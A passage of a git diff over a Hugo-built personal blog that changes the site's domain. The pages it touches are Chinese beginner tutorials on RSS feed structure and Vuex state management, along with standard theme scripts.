xml:lang=\u0026quot;zh-CN\u0026quot;\u0026gt;xxxxxxx\u0026lt;/content:encoded\u0026gt;\r\u0026lt;/item\u0026gt;\r\u0026lt;/channel\u0026gt;\r\u0026lt;/rss\u0026gt;\r可以看到是RSS频道的标题，是该频道的超链接，是该频道的描述，是定义该频道的某篇文章的，其中又有，分别表示文章标题，文章的超链接，文章的描述，其中还有表示文章的内容\nRSS注释和HTML的注释一样，\n注意：RSS是基于XML编写，所以全部元素都要有闭合标签，大小写敏感，属性值要带引号\nchannel元素除了上面那几个外，还有，， ，等等\n元素还有，，，等等\nRSS阅读器可以更好读取RSSfeed","keywords":["RSS"],"articleBody":"RSS指 Really Simple Syndication（简易信息聚合），RSS定义了方法来获取网站的标题以及内容，而且RSS可以被自动更新，RSS使用了XML进行编写（xml笔记：https://xiaochenabc123.test.com/archives/17.html）\n一个RSS例子：\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" ?\u003e\r小陈的辣鸡屋\rhttps://xiaochenabc123.test.com/\rxiaochenabc123.test.com\r简单了解设计模式\rhttps://xiaochenabc123.test.com/archives/121.html\r\u003c![CDATA[设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具面向过程：逻辑化过程，以逻辑实现面向对象：思考有哪些对象，...]]\u003e\rxxxxxxx\r可以看到是RSS频道的标题，是该频道的超链接，是该频道的描述，是定义该频道的某篇文章的，其中又有，分别表示文章标题，文章的超链接，文章的描述，其中还有表示文章的内容\nRSS注释和HTML的注释一样，\n注意：RSS是基于XML编写，所以全部元素都要有闭合标签，大小写敏感，属性值要带引号\nchannel元素除了上面那几个外，还有，， ，等等\n元素还有，，，等等\nRSS阅读器可以更好读取RSSfeed\n","wordCount":"31","inLanguage":"en","datePublished":"2021-12-06T02:32:00Z","dateModified":"2021-12-06T02:32:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/122/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>简单了解RSS</h1><div class=post-meta><span title='2021-12-06 02:32:00 +0000 UTC'>2021-12-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e7%ae%80%e5%8d%95%e4%ba%86%e8%a7%a3RSS.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>RSS指 Really Simple Syndication（简易信息聚合），RSS定义了方法来获取网站的标题以及内容，而且RSS可以被自动更新，RSS使用了XML进行编写（xml笔记：https://xiaochenabc123.test.com/archives/17.html）</p><p>一个RSS例子：</p><pre><code>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; ?&gt;
-&lt;rss version=&quot;2.0&quot;&gt;
-    &lt;channel&gt;
-        &lt;title&gt;小陈的辣鸡屋&lt;/title&gt;
-        &lt;link&gt;https://xiaochenabc123.test.com/&lt;/link&gt;
-        &lt;description&gt;xiaochenabc123.test.com&lt;/description&gt;
-        &lt;item&gt;
-            &lt;title&gt;简单了解设计模式&lt;/title&gt;
-            &lt;link&gt;https://xiaochenabc123.test.com/archives/121.html&lt;/link&gt;
-            &lt;description&gt;&lt;![CDATA[设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具面向过程：逻辑化过程，以逻辑实现面向对象：思考有哪些对象，...]]&gt;&lt;/description&gt;
-            &lt;content:encoded xml:lang=&quot;zh-CN&quot;&gt;xxxxxxx&lt;/content:encoded&gt;
-        &lt;/item&gt;
-    &lt;/channel&gt;
-&lt;/rss&gt;
-</code></pre><p>可以看到是RSS频道的标题，是该频道的超链接，是该频道的描述，是定义该频道的某篇文章的，其中又有，分别表示文章标题，文章的超链接，文章的描述，其中还有表示文章的内容</p><p>RSS注释和HTML的注释一样，</p><p>注意：RSS是基于XML编写，所以全部元素都要有闭合标签，大小写敏感，属性值要带引号</p><p>channel元素除了上面那几个外，还有，， ，等等</p><p>元素还有，，，等等</p><p>RSS阅读器可以更好读取RSSfeed</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/rss/>RSS</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/123/><span class=title>« Prev</span><br><span>简单使用vuex状态管理库</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/121/><span class=title>Next »</span><br><span>简单了解设计模式</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+RSS阅读器可以更好读取RSSfeed"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单了解RSS","item":"https://chenjunlinabc.github.io/posts/122/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单了解RSS","name":"简单了解RSS","description":"RSS指 Really Simple Syndication（简易信息聚合），RSS定义了方法来获取网站的标题以及内容，而且RSS可以被自动更新，RSS使用了XML进行编写（xml笔记：https://xiaochenabc123.test.com/archives/17.html）\n一个RSS例子：\n\u0026lt;?xml version=\u0026quot;1.0\u0026quot; encoding=\u0026quot;UTF-8\u0026quot; ?\u0026gt; \u0026lt;rss version=\u0026quot;2.0\u0026quot;\u0026gt; \u0026lt;channel\u0026gt; \u0026lt;title\u0026gt;小陈的辣鸡屋\u0026lt;/title\u0026gt; \u0026lt;link\u0026gt;https://xiaochenabc123.test.com/\u0026lt;/link\u0026gt; \u0026lt;description\u0026gt;xiaochenabc123.test.com\u0026lt;/description\u0026gt; \u0026lt;item\u0026gt; \u0026lt;title\u0026gt;简单了解设计模式\u0026lt;/title\u0026gt; \u0026lt;link\u0026gt;https://xiaochenabc123.test.com/archives/121.html\u0026lt;/link\u0026gt; \u0026lt;description\u0026gt;\u0026lt;![CDATA[设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具面向过程：逻辑化过程，以逻辑实现面向对象：思考有哪些对象，...]]\u0026gt;\u0026lt;/description\u0026gt; \u0026lt;content:encoded xml:lang=\u0026quot;zh-CN\u0026quot;\u0026gt;xxxxxxx\u0026lt;/content:encoded\u0026gt; \u0026lt;/item\u0026gt; \u0026lt;/channel\u0026gt; \u0026lt;/rss\u0026gt; 可以看到是RSS频道的标题，是该频道的超链接，是该频道的描述，是定义该频道的某篇文章的，其中又有，分别表示文章标题，文章的超链接，文章的描述，其中还有表示文章的内容\nRSS注释和HTML的注释一样，\n注意：RSS是基于XML编写，所以全部元素都要有闭合标签，大小写敏感，属性值要带引号\nchannel元素除了上面那几个外，还有，， ，等等\n元素还有，，，等等\nRSS阅读器可以更好读取RSSfeed","keywords":["RSS"],"articleBody":"RSS指 Really Simple Syndication（简易信息聚合），RSS定义了方法来获取网站的标题以及内容，而且RSS可以被自动更新，RSS使用了XML进行编写（xml笔记：https://xiaochenabc123.test.com/archives/17.html）\n一个RSS例子：\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" ?\u003e 小陈的辣鸡屋 https://xiaochenabc123.test.com/ xiaochenabc123.test.com 简单了解设计模式 https://xiaochenabc123.test.com/archives/121.html \u003c![CDATA[设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具面向过程：逻辑化过程，以逻辑实现面向对象：思考有哪些对象，...]]\u003e xxxxxxx 可以看到是RSS频道的标题，是该频道的超链接，是该频道的描述，是定义该频道的某篇文章的，其中又有，分别表示文章标题，文章的超链接，文章的描述，其中还有表示文章的内容\nRSS注释和HTML的注释一样，\n注意：RSS是基于XML编写，所以全部元素都要有闭合标签，大小写敏感，属性值要带引号\nchannel元素除了上面那几个外，还有，， ，等等\n元素还有，，，等等\nRSS阅读器可以更好读取RSSfeed\n","wordCount":"31","inLanguage":"en","datePublished":"2021-12-06T02:32:00Z","dateModified":"2021-12-06T02:32:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/122/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>简单了解RSS</h1><div class=post-meta><span title='2021-12-06 02:32:00 +0000 UTC'>2021-12-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e7%ae%80%e5%8d%95%e4%ba%86%e8%a7%a3RSS.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>RSS指 Really Simple Syndication（简易信息聚合），RSS定义了方法来获取网站的标题以及内容，而且RSS可以被自动更新，RSS使用了XML进行编写（xml笔记：https://xiaochenabc123.test.com/archives/17.html）</p><p>一个RSS例子：</p><pre><code>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; ?&gt;
+&lt;rss version=&quot;2.0&quot;&gt;
+    &lt;channel&gt;
+        &lt;title&gt;小陈的辣鸡屋&lt;/title&gt;
+        &lt;link&gt;https://xiaochenabc123.test.com/&lt;/link&gt;
+        &lt;description&gt;xiaochenabc123.test.com&lt;/description&gt;
+        &lt;item&gt;
+            &lt;title&gt;简单了解设计模式&lt;/title&gt;
+            &lt;link&gt;https://xiaochenabc123.test.com/archives/121.html&lt;/link&gt;
+            &lt;description&gt;&lt;![CDATA[设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具面向过程：逻辑化过程，以逻辑实现面向对象：思考有哪些对象，...]]&gt;&lt;/description&gt;
+            &lt;content:encoded xml:lang=&quot;zh-CN&quot;&gt;xxxxxxx&lt;/content:encoded&gt;
+        &lt;/item&gt;
+    &lt;/channel&gt;
+&lt;/rss&gt;
+</code></pre><p>可以看到是RSS频道的标题，是该频道的超链接，是该频道的描述，是定义该频道的某篇文章的，其中又有，分别表示文章标题，文章的超链接，文章的描述，其中还有表示文章的内容</p><p>RSS注释和HTML的注释一样，</p><p>注意：RSS是基于XML编写，所以全部元素都要有闭合标签，大小写敏感，属性值要带引号</p><p>channel元素除了上面那几个外，还有，， ，等等</p><p>元素还有，，，等等</p><p>RSS阅读器可以更好读取RSSfeed</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/rss/>RSS</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/123/><span class=title>« Prev</span><br><span>简单使用vuex状态管理库</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/121/><span class=title>Next »</span><br><span>简单了解设计模式</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/123/index.html b/posts/123/index.html
index 30d26743..f4d34d68 100644
--- a/posts/123/index.html
+++ b/posts/123/index.html
@@ -12,12 +12,12 @@
 new Vuex.store()
 将vuex实例挂载在vue对象上
 index.js
-Vue.use(Vuex)
const store = new Vuex.Store({
state: {
count: 0
}
})
export default store
main.js
-new Vue({
store // 将store对象添加到vue实例上
})
可以通过this.$store.state.count获取到状态（官方推荐将获取装态的操作放到computed中）
+Vue.use(Vuex) const store = new Vuex.Store({ state: { count: 0 } }) export default store main.js
+new Vue({ store // 将store对象添加到vue实例上 }) 可以通过this.$store.state.count获取到状态（官方推荐将获取装态的操作放到computed中）
 使用解构获取状态： import { mapState } from &lsquo;vuex&rsquo; export default { mounted() { console.log(this.count) }, computed: { &mldr;mapState([&lsquo;count&rsquo;]) } }
 Getter
-getters: {
getCount(state) {
return state."><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/123/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用vuex状态管理库"><meta property="og:description" content="vuex是一个专门为vuejs应用程序的设计的状态管理
+getters: { getCount(state) { return state."><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/123/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用vuex状态管理库"><meta property="og:description" content="vuex是一个专门为vuejs应用程序的设计的状态管理
 集中式存储管理应用的所有组件的状态
 多组件状态共享，不同的组件改变同一个状态
 vuex知识点：state，getter，mutation，action
@@ -31,11 +31,11 @@
 new Vuex.store()
 将vuex实例挂载在vue对象上
 index.js
-Vue.use(Vuex)
const store = new Vuex.Store({
state: {
count: 0
}
})
export default store
main.js
-new Vue({
store // 将store对象添加到vue实例上
})
可以通过this.$store.state.count获取到状态（官方推荐将获取装态的操作放到computed中）
+Vue.use(Vuex) const store = new Vuex.Store({ state: { count: 0 } }) export default store main.js
+new Vue({ store // 将store对象添加到vue实例上 }) 可以通过this.$store.state.count获取到状态（官方推荐将获取装态的操作放到computed中）
 使用解构获取状态： import { mapState } from &lsquo;vuex&rsquo; export default { mounted() { console.log(this.count) }, computed: { &mldr;mapState([&lsquo;count&rsquo;]) } }
 Getter
-getters: {
getCount(state) {
return state."><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/123/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-12-13T06:19:00+00:00"><meta property="article:modified_time" content="2021-12-13T06:19:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用vuex状态管理库"><meta name=twitter:description content="vuex是一个专门为vuejs应用程序的设计的状态管理
+getters: { getCount(state) { return state."><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/123/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-12-13T06:19:00+00:00"><meta property="article:modified_time" content="2021-12-13T06:19:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用vuex状态管理库"><meta name=twitter:description content="vuex是一个专门为vuejs应用程序的设计的状态管理
 集中式存储管理应用的所有组件的状态
 多组件状态共享，不同的组件改变同一个状态
 vuex知识点：state，getter，mutation，action
@@ -49,20 +49,20 @@
 new Vuex.store()
 将vuex实例挂载在vue对象上
 index.js
-Vue.use(Vuex)
const store = new Vuex.Store({
state: {
count: 0
}
})
export default store
main.js
-new Vue({
store // 将store对象添加到vue实例上
})
可以通过this.$store.state.count获取到状态（官方推荐将获取装态的操作放到computed中）
+Vue.use(Vuex) const store = new Vuex.Store({ state: { count: 0 } }) export default store main.js
+new Vue({ store // 将store对象添加到vue实例上 }) 可以通过this.$store.state.count获取到状态（官方推荐将获取装态的操作放到computed中）
 使用解构获取状态： import { mapState } from &lsquo;vuex&rsquo; export default { mounted() { console.log(this.count) }, computed: { &mldr;mapState([&lsquo;count&rsquo;]) } }
 Getter
-getters: {
getCount(state) {
return state."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用vuex状态管理库","item":"https://xiaochenabc123.github.io/posts/123/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用vuex状态管理库","name":"简单使用vuex状态管理库","description":"vuex是一个专门为vuejs应用程序的设计的状态管理\n集中式存储管理应用的所有组件的状态\n多组件状态共享，不同的组件改变同一个状态\nvuex知识点：state，getter，mutation，action\n安装vuex\nnpm install vuex \u0026ndash;save\n或者\nyarn add vuex\n导入vuex包\nimport Vuex from \u0026ldquo;vuex\u0026rdquo;\n创建vuex实例\nnew Vuex.store()\n将vuex实例挂载在vue对象上\nindex.js\nVue.use(Vuex)\rconst store = new Vuex.Store({\rstate: {\rcount: 0\r}\r})\rexport default store\rmain.js\nnew Vue({\rstore // 将store对象添加到vue实例上\r})\r可以通过this.$store.state.count获取到状态（官方推荐将获取装态的操作放到computed中）\n使用解构获取状态： import { mapState } from \u0026lsquo;vuex\u0026rsquo; export default { mounted() { console.log(this.count) }, computed: { \u0026hellip;mapState([\u0026lsquo;count\u0026rsquo;]) } }\nGetter\ngetters: {\rgetCount(state) {\rreturn state.","keywords":["vuejs","vuex"],"articleBody":"vuex是一个专门为vuejs应用程序的设计的状态管理\n集中式存储管理应用的所有组件的状态\n多组件状态共享，不同的组件改变同一个状态\nvuex知识点：state，getter，mutation，action\n安装vuex\nnpm install vuex –save\n或者\nyarn add vuex\n导入vuex包\nimport Vuex from “vuex”\n创建vuex实例\nnew Vuex.store()\n将vuex实例挂载在vue对象上\nindex.js\nVue.use(Vuex)\rconst store = new Vuex.Store({\rstate: {\rcount: 0\r}\r})\rexport default store\rmain.js\nnew Vue({\rstore // 将store对象添加到vue实例上\r})\r可以通过this.$store.state.count获取到状态（官方推荐将获取装态的操作放到computed中）\n使用解构获取状态： import { mapState } from ‘vuex’ export default { mounted() { console.log(this.count) }, computed: { …mapState([‘count’]) } }\nGetter\ngetters: {\rgetCount(state) {\rreturn state.count + 1\r}\r}\r...\rexport default {\rmounted() {\rconsole.log(this.$store.state.count)\rconsole.log(this.$store.getters.getCount)\r}\r}\rmapGetters函数解构到计算属性（将store中的getter映射到局部计算属性）\ncomputed: {\r...mapGetters(['getCount'])\r}\r或者起别名(起别名是导入对象{})\ncomputed: {\r...mapGetters({mainData: 'getCount'})\r// this.mainData为this.$store.getters.getCount\r}\rMutation\n在vuex中不能直接修改store的值，而是通过Mutation方法来修改，例如：\nmutations: { // setData(state) { // state.count = 3\r// }\rsetMain(state, intData) { state.count = intData.count\r// 通过传参的方式修改\r}\r}\rApp.vue\nexport default {\rmounted() {\rconsole.log(this.$store.state.count)\rthis.$store.commit('setMain',{count: 123})\rconsole.log(this.$store.state.count)\r},\r}\r注意：Mutation方法内部的函数必须是同步的，是不能处理异步的\n在组件中也是可以使用Mutation解构的（Mutation）\n导入并且解构\nimport { 